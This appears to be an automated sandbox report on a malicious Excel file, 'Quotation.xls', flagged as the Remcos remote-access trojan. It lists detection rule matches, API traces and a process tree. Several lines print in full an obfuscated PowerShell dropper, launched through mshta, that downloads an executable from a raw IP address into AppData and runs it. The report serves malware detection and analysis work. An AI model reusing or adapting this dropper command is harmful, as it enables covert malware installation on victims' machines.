Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: csrss[1].exe.7.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9982945393041237
Source: winiti.exe.7.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9982945393041237

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@29/32@6/5

Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDE2A80 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,	11_2_000000013FDE2A80
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F602A80 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,	22_2_000000013F602A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	25_2_00417952

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

25_2_0040F474

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

25_2_0041B4A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

25_2_0041AA4A

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\37330000

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\chrome-E2SMAR

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR95A9.tmp

Jump to behavior

Source: Quotation.xls	OLE indicator, Workbook stream: true
Source: 37330000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1..............P................o.......o.....}..w.............................1......(.P..............3........1..............%..............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................'.....).Tk....}..w.....%......\.......................(.P.....8.......@.........'.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm................'.....).Tk....}..w.....%......\.......................(.P.....8.......@.........'.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.'.....N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..#g.......Tk......f.....(.P.....8.......@.......x.'..... .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....8.......@.......x.'.....8.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...@.......x.'.....F.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..1......................................%......}..w.............#g.......Tk......f.....(.P.....8.......@.........1.....l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ........%......}..w.............#g.......Tk......f.....(.P.....8.......@.......x.'.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................%..............0....7...Wn.....}..w......'.....@E......^...............(.P.....8.......@.........'.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................%...................7...Wn.....}..w......'.....@E......^...............(.P.....8.......@.........'.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............................}..w..............D.......D......1D.....(.P.......D......3D.......................{.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................#.l....}..w......{.....\.F.......D.............(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.......................#.l....}..w......{.....\.F.......D.............(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....H.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.H._.....R .l.....X......(.P.....P.......X.......H....... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....P.......X.......H.......8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...X.......H.......F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................{.....}..w............H._.....R .l.....X......(.P.....P.......X...............l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .........{.....}..w............H._.....R .l.....X......(.P.....P.......X.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..................{.............0...n%...W......}..w............@EE.....^...............(.P.....P.......X.......h...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..................{.................n%...W......}..w............@EE.....^...............(.P.....P.......X.......h...............................

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Quotation.xls	ReversingLabs: Detection: 18%
Source: Quotation.xls	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
